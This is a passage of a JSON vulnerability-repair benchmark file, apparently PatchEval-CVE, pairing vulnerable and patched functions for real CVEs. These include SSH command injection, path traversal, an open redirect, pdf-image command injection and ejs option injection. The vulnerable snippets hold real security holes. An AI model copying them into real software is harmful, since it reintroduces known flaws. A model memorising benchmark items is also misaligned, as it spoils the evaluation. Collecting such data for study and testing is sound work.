                "snippet": "func (i *Instance) CreateNewConnection(listenPort int, username string, remoteIpAddr string, remotePort int) error {\n\t//Create a gotty instance\n\tconnAddr := remoteIpAddr\n\tif username != \"\" {\n\t\tconnAddr = username + \"@\" + remoteIpAddr\n\t}\n\tconfigPath := filepath.Join(filepath.Dir(i.ExecPath), \".gotty\")\n\ttitle := username + \"@\" + remoteIpAddr\n\tif remotePort != 22 {\n\t\ttitle = title + \":\" + strconv.Itoa(remotePort)\n\t}\n\n\tsshCommand := []string{\"ssh\", \"-t\", connAddr, \"-p\", strconv.Itoa(remotePort)}\n\tcmd := exec.Command(i.ExecPath, \"-w\", \"-p\", strconv.Itoa(listenPort), \"--once\", \"--config\", configPath, \"--title-format\", title, \"bash\", \"-c\", strings.Join(sshCommand, \" \"))\n\tcmd.Dir = filepath.Dir(i.ExecPath)\n\tcmd.Env = append(os.Environ(), \"TERM=xterm\")\n\tcmd.Stdout = os.Stdout\n\tcmd.Stderr = os.Stderr\n\tgo func() {\n\t\tcmd.Run()\n\t\ti.Destroy()\n\t}()\n\ti.tty = cmd\n\ti.AssignedPort = listenPort\n\ti.RemoteAddr = remoteIpAddr\n\ti.RemotePort = remotePort\n\n\t//Create a new proxy agent for this root\n\tpath, err := url.Parse(\"http://127.0.0.1:\" + strconv.Itoa(listenPort))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t//Create new proxy objects to the proxy\n\tproxy := reverseproxy.NewReverseProxy(path)\n\n\ti.conn = proxy\n\treturn nil\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            6
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_32_1",
                "commit": "2e9bc77",
                "file_path": "src/mod/sshprox/sshprox.go",
                "start_line": 150,
                "end_line": 199,
                "snippet": "func (i *Instance) CreateNewConnection(listenPort int, username string, remoteIpAddr string, remotePort int) error {\n\t//Create a gotty instance\n\tconnAddr := remoteIpAddr\n\tif username != \"\" {\n\t\tconnAddr = username + \"@\" + remoteIpAddr\n\t}\n\n\t//Trim the space in the username and remote address\n\tusername = strings.TrimSpace(username)\n\tremoteIpAddr = strings.TrimSpace(remoteIpAddr)\n\n\t//Validate the username and remote address\n\terr := ValidateUsernameAndRemoteAddr(username, remoteIpAddr)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tconfigPath := filepath.Join(filepath.Dir(i.ExecPath), \".gotty\")\n\ttitle := username + \"@\" + remoteIpAddr\n\tif remotePort != 22 {\n\t\ttitle = title + \":\" + strconv.Itoa(remotePort)\n\t}\n\n\tsshCommand := []string{\"ssh\", \"-t\", connAddr, \"-p\", strconv.Itoa(remotePort)}\n\tcmd := exec.Command(i.ExecPath, \"-w\", \"-p\", strconv.Itoa(listenPort), \"--once\", \"--config\", configPath, \"--title-format\", title, \"bash\", \"-c\", strings.Join(sshCommand, \" \"))\n\tcmd.Dir = filepath.Dir(i.ExecPath)\n\tcmd.Env = append(os.Environ(), \"TERM=xterm\")\n\tcmd.Stdout = os.Stdout\n\tcmd.Stderr = os.Stderr\n\tgo func() {\n\t\tcmd.Run()\n\t\ti.Destroy()\n\t}()\n\ti.tty = cmd\n\ti.AssignedPort = listenPort\n\ti.RemoteAddr = remoteIpAddr\n\ti.RemotePort = remotePort\n\n\t//Create a new proxy agent for this root\n\tpath, err := url.Parse(\"http://127.0.0.1:\" + strconv.Itoa(listenPort))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t//Create new proxy objects to the proxy\n\tproxy := reverseproxy.NewReverseProxy(path)\n\n\ti.conn = proxy\n\treturn nil\n}"
            },
            {
                "id": "fix_go_32_2",
                "commit": "2e9bc77",
                "file_path": "src/mod/sshprox/utils.go",
                "start_line": 81,
                "end_line": 101,
                "snippet": "func ValidateUsernameAndRemoteAddr(username string, remoteIpAddr string) error {\n\t// Validate and sanitize the username to prevent ssh injection\n\tvalidUsername := regexp.MustCompile(`^[a-zA-Z0-9._-]+$`)\n\tif !validUsername.MatchString(username) {\n\t\treturn errors.New(\"invalid username, only alphanumeric characters, dots, underscores and dashes are allowed\")\n\t}\n\n\t//Check if the remoteIpAddr is a valid ipv4 or ipv6 address\n\tif net.ParseIP(remoteIpAddr) != nil {\n\t\t//A valid IP address do not need further validation\n\t\treturn nil\n\t}\n\n\t// Validate and sanitize the remote domain to prevent injection\n\tvalidRemoteAddr := regexp.MustCompile(`^[a-zA-Z0-9._-]+$`)\n\tif !validRemoteAddr.MatchString(remoteIpAddr) {\n\t\treturn errors.New(\"invalid remote address, only alphanumeric characters, dots, underscores and dashes are allowed\")\n\t}\n\n\treturn nil\n}"
            },
            {
                "id": "fix_go_32_3",
                "commit": "2e9bc77",
                "file_path": "src/webssh.go",
                "start_line": 19,
                "end_line": 75,
                "snippet": "func HandleCreateProxySession(w http.ResponseWriter, r *http.Request) {\n\t//Get what ip address and port to connect to\n\tipaddr, err := utils.PostPara(r, \"ipaddr\")\n\tif err != nil {\n\t\thttp.Error(w, \"Invalid Usage\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tportString, err := utils.PostPara(r, \"port\")\n\tif err != nil {\n\t\tportString = \"22\"\n\t}\n\n\tusername, err := utils.PostPara(r, \"username\")\n\tif err != nil {\n\t\tusername = \"\"\n\t}\n\n\tport, err := strconv.Atoi(portString)\n\tif err != nil {\n\t\tutils.SendErrorResponse(w, \"invalid port number given\")\n\t\treturn\n\t}\n\n\tif !*allowSshLoopback {\n\t\t//Not allow loopback connections\n\t\tif sshprox.IsLoopbackIPOrDomain(ipaddr) {\n\t\t\t//Request target is loopback\n\t\t\tutils.SendErrorResponse(w, \"loopback web ssh connection is not enabled on this host\")\n\t\t\treturn\n\t\t}\n\t}\n\n\t//Check if the target is a valid ssh endpoint\n\tif !sshprox.IsSSHConnectable(ipaddr, port) {\n\t\tutils.SendErrorResponse(w, ipaddr+\":\"+strconv.Itoa(port)+\" is not a valid SSH server\")\n\t\treturn\n\t}\n\n\t//Create a new proxy instance\n\tinstance, err := webSshManager.NewSSHProxy(\"./tmp/gotty\")\n\tif err != nil {\n\t\tutils.SendErrorResponse(w, strings.ReplaceAll(err.Error(), \"\\\\\", \"/\"))\n\t\treturn\n\t}\n\n\t//Create an ssh process to the target address\n\terr = instance.CreateNewConnection(webSshManager.GetNextPort(), username, ipaddr, port)\n\tif err != nil {\n\t\tutils.SendErrorResponse(w, err.Error())\n\t\treturn\n\t}\n\n\t//Return the instance uuid\n\tjs, _ := json.Marshal(instance.UUID)\n\tutils.SendJSONResponse(w, string(js))\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2024-52010"
    },
    {
        "cve_id": "CVE-2022-37109",
        "cve_description": "patrickfuller camp up to and including commit bbd53a256ed70e79bd8758080936afbf6d738767 is vulnerable to Incorrect Access Control. Access to the password.txt file is not properly restricted as it is in the root directory served by StaticFileHandler and the Tornado rule to throw a 403 error when password.txt is accessed can be bypassed. Furthermore, it is not necessary to crack the password hash to authenticate with the application because the password hash is also used as the cookie secret, so an attacker can generate his own authentication cookie.",
        "cwe_info": {
            "CWE-522": {
                "name": "Insufficiently Protected Credentials",
                "description": "The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval."
            }
        },
        "repo": "https://github.com/patrickfuller/camp",
        "patch_url": [
            "https://github.com/patrickfuller/camp/commit/bf6af5c2e5cf713e4050c11c52dd4c55e89880b1"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_py_18_1",
                "commit": "bbd53a2",
                "file_path": "server.py",
                "start_line": 43,
                "end_line": 50,
                "snippet": "    def post(self):\n        password = self.get_argument(\"password\", \"\")\n        if hashlib.sha512(password).hexdigest() == PASSWORD:\n            self.set_secure_cookie(COOKIE_NAME, str(time.time()))\n            self.redirect(\"/\")\n        else:\n            time.sleep(1)\n            self.redirect(u\"/login?error\")",
                "vul_localization": [
                    {
                        "patch_lines": [
                            3
                        ],
                        "tag": "modify"
                    }
                ]
            },
            {
                "id": "vul_py_18_2",
                "commit": "bbd53a2",
                "file_path": "server.py",
                "start_line": 129,
                "end_line": 133,
                "snippet": "handlers = [(r\"/\", IndexHandler), (r\"/login\", LoginHandler),\n            (r\"/websocket\", WebSocket),\n            (r\"/static/password.txt\", ErrorHandler),\n            (r'/static/(.*)', tornado.web.StaticFileHandler, {'path': ROOT})]\napplication = tornado.web.Application(handlers, cookie_secret=PASSWORD)",
                "vul_localization": [
                    {
                        "patch_lines": [
                            3,
                            4,
                            5
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_18_1",
                "commit": "bf6af5c2e5cf713e4050c11c52dd4c55e89880b1",
                "file_path": "server.py",
                "start_line": 42,
                "end_line": 49,
                "snippet": "    def post(self):\n        password = self.get_argument(\"password\", \"\")\n        if hashlib.sha512(password.encode()).hexdigest() == PASSWORD:\n            self.set_secure_cookie(COOKIE_NAME, str(time.time()))\n            self.redirect(\"/\")\n        else:\n            time.sleep(1)\n            self.redirect(u\"/login?error\")"
            },
            {
                "id": "fix_py_18_2",
                "commit": "bf6af5c2e5cf713e4050c11c52dd4c55e89880b1",
                "file_path": "server.py",
                "start_line": 123,
                "end_line": 128,
                "snippet": "handlers = [(r\"/\", IndexHandler), (r\"/login\", LoginHandler),\n            (r\"/websocket\", WebSocket),\n            (r'/static/(.*)', tornado.web.StaticFileHandler, {'path': os.path.join(ROOT, 'static')})]\n\nsecret = base64.b64encode(os.urandom(50)).decode('ascii')\napplication = tornado.web.Application(handlers, cookie_secret=secret)"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-37109"
    },
    {
        "cve_id": "CVE-2020-7649",
        "cve_description": "This affects the package snyk-broker before 4.73.0. It allows arbitrary file reads for users with access to Snyk's internal network via directory traversal.",
        "cwe_info": {
            "CWE-73": {
                "name": "External Control of File Name or Path",
                "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."
            },
            "CWE-22": {
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')",
                "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."
            }
        },
        "repo": "https://github.com/snyk/broker",
        "patch_url": [
            "https://github.com/snyk/broker/commit/90e0bac07a800b7c4c6646097c9c89d6b878b429"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_54_1",
                "commit": "57c8741",
                "file_path": "lib/filters/index.js",
                "start_line": 11,
                "end_line": 163,
                "snippet": "module.exports = ruleSource => {\n  let rules = [];\n  const config = require('../config');\n\n  // polymorphic support\n  if (Array.isArray(ruleSource)) {\n    rules = ruleSource;\n  } else if (ruleSource) {\n    try {\n      rules = require(ruleSource);\n    } catch (error) {\n      logger.warn({ ruleSource, error }, 'Unable to parse rule source, ignoring');\n    }\n  }\n\n  if (!Array.isArray(rules)) {\n    throw new Error(`Expected array of filter rules, got '${typeof rules}' instead.`);\n  }\n\n  logger.info({ rulesCount: rules.length }, 'loading new rules');\n\n  // array of entries with\n  const tests = rules.map(entry => {\n    const keys = [];\n    let { method, origin, path, valid, stream } = entry;\n    method = (method || 'get').toLowerCase();\n    valid = valid || [];\n\n    const bodyFilters = valid.filter(v => !!v.path && !v.regex);\n    const bodyRegexFilters = valid.filter(v => !!v.path && !!v.regex);\n    const queryFilters = valid.filter(v => !!v.queryParam);\n\n    // now track if there's any values that we need to interpolate later\n    const fromConfig = {};\n\n    // slightly bespoke version of replace-vars.js\n    path = (path || '').replace(/(\\${.*?})/g, (_, match) => {\n      const key = match.slice(2, -1); // ditch the wrappers\n      fromConfig[key] = config[key] || '';\n      return ':' + key;\n    });\n\n    origin = replace(origin, config);\n\n    if (path[0] !== '/') {\n      path = '/' + path;\n    }\n\n    logger.info({ method, path }, 'adding new filter rule');\n    const regexp = pathRegexp(path, keys);\n\n    return (req) => {\n      // check the request method\n      if (req.method.toLowerCase() !== method && method !== 'any') {\n        return false;\n      }\n\n      // Discard any fragments before further processing\n      const mainURI = req.url.split('#')[0];\n\n      // query params might contain additional \"?\"s, only split on the 1st one\n      const parts = mainURI.split('?');\n      let [url, querystring] = [parts[0], parts.slice(1).join('?')];\n      const res = regexp.exec(url);\n      if (!res) {\n        // no url match\n        return false;\n      }\n\n      // reconstruct the url from the user config\n      for (let i = 1; i < res.length; i++) {\n        const val = fromConfig[keys[i - 1].name];\n        if (val) {\n          url = url.replace(res[i], val);\n        }\n      }\n\n      // if validity filters are present, at least one must be satisfied\n      if (bodyFilters.length || bodyRegexFilters.length ||\n          queryFilters.length) {\n        let isValid;\n\n        let parsedBody;\n        if (bodyFilters.length) {\n          parsedBody = tryJSONParse(req.body);\n\n          // validate against the body\n          isValid = bodyFilters.some(({ path, value }) => {\n            return undefsafe(parsedBody, path, value);\n          });\n        }\n\n        if (!isValid && bodyRegexFilters.length) {\n          parsedBody = parsedBody || tryJSONParse(req.body);\n\n          // validate against the body by regex\n          isValid = bodyRegexFilters.some(({ path, regex }) => {\n            try {\n              const re = new RegExp(regex);\n              return re.test(undefsafe(parsedBody, path));\n            } catch (error) {\n              logger.error({error, path, regex},\n                'failed to test regex rule');\n              return false;\n            }\n          });\n        }\n\n        // no need to check query filters if the request is already valid\n        if (!isValid && queryFilters.length) {\n          const parsedQuerystring = qs.parse(querystring);\n\n          // validate against the querystring\n          isValid = queryFilters.some(({ queryParam, values }) => {\n            return values.some(value =>\n              minimatch(parsedQuerystring[queryParam] || '', value)\n            );\n          });\n        }\n\n        if (!isValid) {\n          return false;\n        }\n      }\n\n      logger.debug({ path, origin, url, querystring }, 'rule matched');\n\n      querystring = (querystring) ? `?${querystring}` : '';\n      return {\n        url: origin + url + querystring,\n        auth: entry.auth && authHeader(entry.auth),\n        stream\n      };\n    };\n  });\n\n  return (payload, callback) => {\n    let res = false;\n    logger.debug({ rulesCount: tests.length }, 'looking for a rule match');\n\n    for (const test of tests) {\n      res = test(payload);\n      if (res) {\n        break;\n      }\n    }\n    if (!res) {\n      return callback(Error('blocked'));\n    }\n\n    return callback(null, res);\n  };\n};",
                "vul_localization": [
                    {
                        "patch_lines": [
                            57
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_54_1",
                "commit": "90e0bac07a800b7c4c6646097c9c89d6b878b429",
                "file_path": "lib/filters/index.js",
                "start_line": 12,
                "end_line": 169,
                "snippet": "module.exports = ruleSource => {\n  let rules = [];\n  const config = require('../config');\n\n  // polymorphic support\n  if (Array.isArray(ruleSource)) {\n    rules = ruleSource;\n  } else if (ruleSource) {\n    try {\n      rules = require(ruleSource);\n    } catch (error) {\n      logger.warn({ ruleSource, error }, 'Unable to parse rule source, ignoring');\n    }\n  }\n\n  if (!Array.isArray(rules)) {\n    throw new Error(`Expected array of filter rules, got '${typeof rules}' instead.`);\n  }\n\n  logger.info({ rulesCount: rules.length }, 'loading new rules');\n\n  // array of entries with\n  const tests = rules.map(entry => {\n    const keys = [];\n    let { method, origin, path: entryPath, valid, stream } = entry;\n    method = (method || 'get').toLowerCase();\n    valid = valid || [];\n\n    const bodyFilters = valid.filter(v => !!v.path && !v.regex);\n    const bodyRegexFilters = valid.filter(v => !!v.path && !!v.regex);\n    const queryFilters = valid.filter(v => !!v.queryParam);\n\n    // now track if there's any values that we need to interpolate later\n    const fromConfig = {};\n\n    // slightly bespoke version of replace-vars.js\n    entryPath = (entryPath || '').replace(/(\\${.*?})/g, (_, match) => {\n      const key = match.slice(2, -1); // ditch the wrappers\n      fromConfig[key] = config[key] || '';\n      return ':' + key;\n    });\n\n    origin = replace(origin, config);\n\n    if (entryPath[0] !== '/') {\n      entryPath = '/' + entryPath;\n    }\n\n    logger.info({ method, path: entryPath }, 'adding new filter rule');\n    const regexp = pathRegexp(entryPath, keys);\n\n    return (req) => {\n      // check the request method\n      if (req.method.toLowerCase() !== method && method !== 'any') {\n        return false;\n      }\n\n      // Do not allow directory traversal\n      if (path.normalize(req.url) !== req.url) {\n        return false;\n      }\n\n      // Discard any fragments before further processing\n      const mainURI = req.url.split('#')[0];\n\n      // query params might contain additional \"?\"s, only split on the 1st one\n      const parts = mainURI.split('?');\n      let [url, querystring] = [parts[0], parts.slice(1).join('?')];\n      const res = regexp.exec(url);\n      if (!res) {\n        // no url match\n        return false;\n      }\n\n      // reconstruct the url from the user config\n      for (let i = 1; i < res.length; i++) {\n        const val = fromConfig[keys[i - 1].name];\n        if (val) {\n          url = url.replace(res[i], val);\n        }\n      }\n\n      // if validity filters are present, at least one must be satisfied\n      if (bodyFilters.length || bodyRegexFilters.length ||\n          queryFilters.length) {\n        let isValid;\n\n        let parsedBody;\n        if (bodyFilters.length) {\n          parsedBody = tryJSONParse(req.body);\n\n          // validate against the body\n          isValid = bodyFilters.some(({ path, value }) => {\n            return undefsafe(parsedBody, path, value);\n          });\n        }\n\n        if (!isValid && bodyRegexFilters.length) {\n          parsedBody = parsedBody || tryJSONParse(req.body);\n\n          // validate against the body by regex\n          isValid = bodyRegexFilters.some(({ path, regex }) => {\n            try {\n              const re = new RegExp(regex);\n              return re.test(undefsafe(parsedBody, path));\n            } catch (error) {\n              logger.error({error, path, regex},\n                'failed to test regex rule');\n              return false;\n            }\n          });\n        }\n\n        // no need to check query filters if the request is already valid\n        if (!isValid && queryFilters.length) {\n          const parsedQuerystring = qs.parse(querystring);\n\n          // validate against the querystring\n          isValid = queryFilters.some(({ queryParam, values }) => {\n            return values.some(value =>\n              minimatch(parsedQuerystring[queryParam] || '', value)\n            );\n          });\n        }\n\n        if (!isValid) {\n          return false;\n        }\n      }\n\n      logger.debug({ path: entryPath, origin, url, querystring }, 'rule matched');\n\n      querystring = (querystring) ? `?${querystring}` : '';\n      return {\n        url: origin + url + querystring,\n        auth: entry.auth && authHeader(entry.auth),\n        stream\n      };\n    };\n  });\n\n  return (payload, callback) => {\n    let res = false;\n    logger.debug({ rulesCount: tests.length }, 'looking for a rule match');\n\n    for (const test of tests) {\n      res = test(payload);\n      if (res) {\n        break;\n      }\n    }\n    if (!res) {\n      return callback(Error('blocked'));\n    }\n\n    return callback(null, res);\n  };\n};"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2020-7649"
    },
    {
        "cve_id": "CVE-2020-11053",
        "cve_description": "In OAuth2 Proxy before 5.1.1, there is an open redirect vulnerability. Users can provide a redirect address for the proxy to send the authenticated user to at the end of the authentication flow. This is expected to be the original URL that the user was trying to access. This redirect URL is checked within the proxy and validated before redirecting the user to prevent malicious actors providing redirects to potentially harmful sites. However, by crafting a redirect URL with HTML encoded whitespace characters the validation could be bypassed and allow a redirect to any URL provided. This has been patched in 5.1.1.",
        "cwe_info": {
            "CWE-601": {
                "name": "URL Redirection to Untrusted Site ('Open Redirect')",
                "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."
            }
        },
        "repo": "https://github.com/oauth2-proxy/oauth2-proxy",
        "patch_url": [
            "https://github.com/oauth2-proxy/oauth2-proxy/commit/0d5fa211df8ef2449347a56b22c779eb8d894c43"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_14_2",
                "commit": "36da6e2",
                "file_path": "oauthproxy.go",
                "start_line": 579,
                "end_line": 617,
                "snippet": "func (p *OAuthProxy) IsValidRedirect(redirect string) bool {\n\tswitch {\n\tcase strings.HasPrefix(redirect, \"/\") && !strings.HasPrefix(redirect, \"//\") && !strings.HasPrefix(redirect, \"/\\\\\"):\n\t\treturn true\n\tcase strings.HasPrefix(redirect, \"http://\") || strings.HasPrefix(redirect, \"https://\"):\n\t\tredirectURL, err := url.Parse(redirect)\n\t\tif err != nil {\n\t\t\tlogger.Printf(\"Rejecting invalid redirect %q: scheme unsupported or missing\", redirect)\n\t\t\treturn false\n\t\t}\n\t\tredirectHostname := redirectURL.Hostname()\n\n\t\tfor _, domain := range p.whitelistDomains {\n\t\t\tdomainHostname, domainPort := splitHostPort(strings.TrimLeft(domain, \".\"))\n\t\t\tif domainHostname == \"\" {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif (redirectHostname == domainHostname) || (strings.HasPrefix(domain, \".\") && strings.HasSuffix(redirectHostname, domainHostname)) {\n\t\t\t\t// the domain names match, now validate the ports\n\t\t\t\t// if the whitelisted domain's port is '*', allow all ports\n\t\t\t\t// if the whitelisted domain contains a specific port, only allow that port\n\t\t\t\t// if the whitelisted domain doesn't contain a port at all, only allow empty redirect ports ie http and https\n\t\t\t\tredirectPort := redirectURL.Port()\n\t\t\t\tif (domainPort == \"*\") ||\n\t\t\t\t\t(domainPort == redirectPort) ||\n\t\t\t\t\t(domainPort == \"\" && redirectPort == \"\") {\n\t\t\t\t\treturn true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tlogger.Printf(\"Rejecting invalid redirect %q: domain / port not in whitelist\", redirect)\n\t\treturn false\n\tdefault:\n\t\tlogger.Printf(\"Rejecting invalid redirect %q: not an absolute or relative URL\", redirect)\n\t\treturn false\n\t}\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            3
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_14_1",
                "commit": "0d5fa21",
                "file_path": "oauthproxy.go",
                "start_line": 57,
                "end_line": 64,
                "snippet": "var (\n\t// ErrNeedsLogin means the user should be redirected to the login page\n\tErrNeedsLogin = errors.New(\"redirect to login page\")\n\n\t// Used to check final redirects are not susceptible to open redirects.\n\t// Matches //, /\\ and both of these with whitespace in between (eg / / or / \\).\n\tinvalidRedirectRegex = regexp.MustCompile(`^/(\\s|\\v)?(/|\\\\)`)\n)"
            },
            {
                "id": "fix_go_14_2",
                "commit": "0d5fa21",
                "file_path": "oauthproxy.go",
                "start_line": 583,
                "end_line": 621,
                "snippet": "func (p *OAuthProxy) IsValidRedirect(redirect string) bool {\n\tswitch {\n\tcase strings.HasPrefix(redirect, \"/\") && !strings.HasPrefix(redirect, \"//\") && !invalidRedirectRegex.MatchString(redirect):\n\t\treturn true\n\tcase strings.HasPrefix(redirect, \"http://\") || strings.HasPrefix(redirect, \"https://\"):\n\t\tredirectURL, err := url.Parse(redirect)\n\t\tif err != nil {\n\t\t\tlogger.Printf(\"Rejecting invalid redirect %q: scheme unsupported or missing\", redirect)\n\t\t\treturn false\n\t\t}\n\t\tredirectHostname := redirectURL.Hostname()\n\n\t\tfor _, domain := range p.whitelistDomains {\n\t\t\tdomainHostname, domainPort := splitHostPort(strings.TrimLeft(domain, \".\"))\n\t\t\tif domainHostname == \"\" {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif (redirectHostname == domainHostname) || (strings.HasPrefix(domain, \".\") && strings.HasSuffix(redirectHostname, domainHostname)) {\n\t\t\t\t// the domain names match, now validate the ports\n\t\t\t\t// if the whitelisted domain's port is '*', allow all ports\n\t\t\t\t// if the whitelisted domain contains a specific port, only allow that port\n\t\t\t\t// if the whitelisted domain doesn't contain a port at all, only allow empty redirect ports ie http and https\n\t\t\t\tredirectPort := redirectURL.Port()\n\t\t\t\tif (domainPort == \"*\") ||\n\t\t\t\t\t(domainPort == redirectPort) ||\n\t\t\t\t\t(domainPort == \"\" && redirectPort == \"\") {\n\t\t\t\t\treturn true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tlogger.Printf(\"Rejecting invalid redirect %q: domain / port not in whitelist\", redirect)\n\t\treturn false\n\tdefault:\n\t\tlogger.Printf(\"Rejecting invalid redirect %q: not an absolute or relative URL\", redirect)\n\t\treturn false\n\t}\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2020-11053"
    },
    {
        "cve_id": "CVE-2020-8132",
        "cve_description": "Lack of input validation in pdf-image npm package version <= 2.0.0 may allow an attacker to run arbitrary code if PDF file path is constructed based on untrusted user input.",
        "cwe_info": {
            "CWE-94": {
                "name": "Improper Control of Generation of Code ('Code Injection')",
                "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."
            },
            "CWE-20": {
                "name": "Improper Input Validation",
                "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."
            }
        },
        "repo": "https://github.com/mooz/node-pdf-image",
        "patch_url": [
            "https://github.com/mooz/node-pdf-image/commit/15c13846a966c8513e30aff58471163a872b3b6d"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_42_1",
                "commit": "5803471",
                "file_path": "index.js",
                "start_line": 25,
                "end_line": 30,
                "snippet": "  constructGetInfoCommand: function () {\n    return util.format(\n      \"pdfinfo \\\"%s\\\"\",\n      this.pdfFilePath\n    );\n  },",
                "vul_localization": [
                    {
                        "patch_lines": [
                            3,
                            4,
                            5,
                            6
                        ],
                        "tag": "modify"
                    }
                ]
            },
            {
                "id": "vul_js_42_2",
                "commit": "5803471",
                "file_path": "index.js",
                "start_line": 40,
                "end_line": 57,
                "snippet": "  getInfo: function () {\n    var self = this;\n    var getInfoCommand = this.constructGetInfoCommand();\n    var promise = new Promise(function (resolve, reject) {\n      exec(getInfoCommand, function (err, stdout, stderr) {\n        if (err) {\n          return reject({\n            message: \"Failed to get PDF'S information\",\n            error: err,\n            stdout: stdout,\n            stderr: stderr\n          });\n        }\n        return resolve(self.parseGetInfoCommandOutput(stdout));\n      });\n    });\n    return promise;\n  },",
                "vul_localization": [
                    {
                        "patch_lines": [
                            4,
                            5,
                            6,
                            7,
                            8,
                            9,
                            10,
                            11,
                            12,
                            13,
                            14,
                            15,
                            16,
                            17
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_42_1",
                "commit": "15c13846a966c8513e30aff58471163a872b3b6d",
                "file_path": "index.js",
                "start_line": 24,
                "end_line": 29,
                "snippet": "  constructGetInfoCommand: function () {\n    return {\n      cmd: \"pdfinfo\",\n      args: [this.pdfFilePath]\n    };\n  },"
            },
            {
                "id": "fix_js_42_2",
                "commit": "15c13846a966c8513e30aff58471163a872b3b6d",
                "file_path": "index.js",
                "start_line": 39,
                "end_line": 48,
                "snippet": "  getInfo: function () {\n    var self = this;\n    var getInfoCommand = this.constructGetInfoCommand();\n    return new Promise(function (resolve, reject) {\n      spawn(getInfoCommand.cmd, getInfoCommand.args, { capture: [ 'stdout', 'stderr' ]})\n        .then(function (cmdResult) {\n          resolve(self.parseGetInfoCommandOutput(cmdResult.stdout.toString()));\n        }).catch(reject);\n    });\n  },"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2020-8132"
    },
    {
        "cve_id": "CVE-2017-1000189",
        "cve_description": "nodejs ejs version older than 2.5.5 is vulnerable to a denial-of-service due to weak input validation in the ejs.renderFile()",
        "cwe_info": {
            "CWE-20": {
                "name": "Improper Input Validation",
                "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."
            }
        },
        "repo": "https://github.com/mde/ejs",
        "patch_url": [
            "https://github.com/mde/ejs/commit/49264e0037e313a0a3e033450b5c184112516d8f"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_67_1",
                "commit": "7eaba6ad",
                "file_path": "lib/ejs.js",
                "start_line": 268,
                "end_line": 281,
                "snippet": "function cpOptsInData(data, opts) {\n  _OPTS.forEach(function (p) {\n    if (typeof data[p] != 'undefined') {\n      // Disallow setting the root opt for includes via a passed data obj\n      // Unsanitized, parameterized use of `render` could allow the\n      // include directory to be reset, opening up the possibility of\n      // remote code execution\n      if (p == 'root') {\n        return;\n      }\n      opts[p] = data[p];\n    }\n  });\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            8
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_67_1",
                "commit": "49264e0037e313a0a3e033450b5c184112516d8f",
                "file_path": "lib/ejs.js",
                "start_line": 274,
                "end_line": 285,
                "snippet": "function cpOptsInData(data, opts) {\n  _OPTS.forEach(function (p) {\n    if (typeof data[p] != 'undefined') {\n      // Disallow passing potentially dangerous opts in the data\n      // These opts should not be settable via a `render` call\n      if (_OPTS_IN_DATA_BLACKLIST[p]) {\n        return;\n      }\n      opts[p] = data[p];\n    }\n  });\n}"
            },
            {
                "id": "fix_js_67_2",
                "commit": "49264e0037e313a0a3e033450b5c184112516d8f",
                "file_path": "lib/ejs.js",
                "start_line": 59,
                "end_line": 64,
                "snippet": "var _OPTS_IN_DATA_BLACKLIST = {\n      cache: true,\n      filename: true,\n      root: true,\n      localsName: true\n    };"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2017-1000189"
    },
    {
        "cve_id": "CVE-2020-7640",
        "cve_description": "pixl-class prior to 1.0.3 allows execution of arbitrary commands. The members argument of the create function can be controlled by users without any sanitization.",
        "cwe_info": {
            "CWE-94": {
                "name": "Improper Control of Generation of Code ('Code Injection')",
                "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."
            },
            "CWE-77": {
                "name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')",
                "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."
            },
            "CWE-78": {
                "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')",
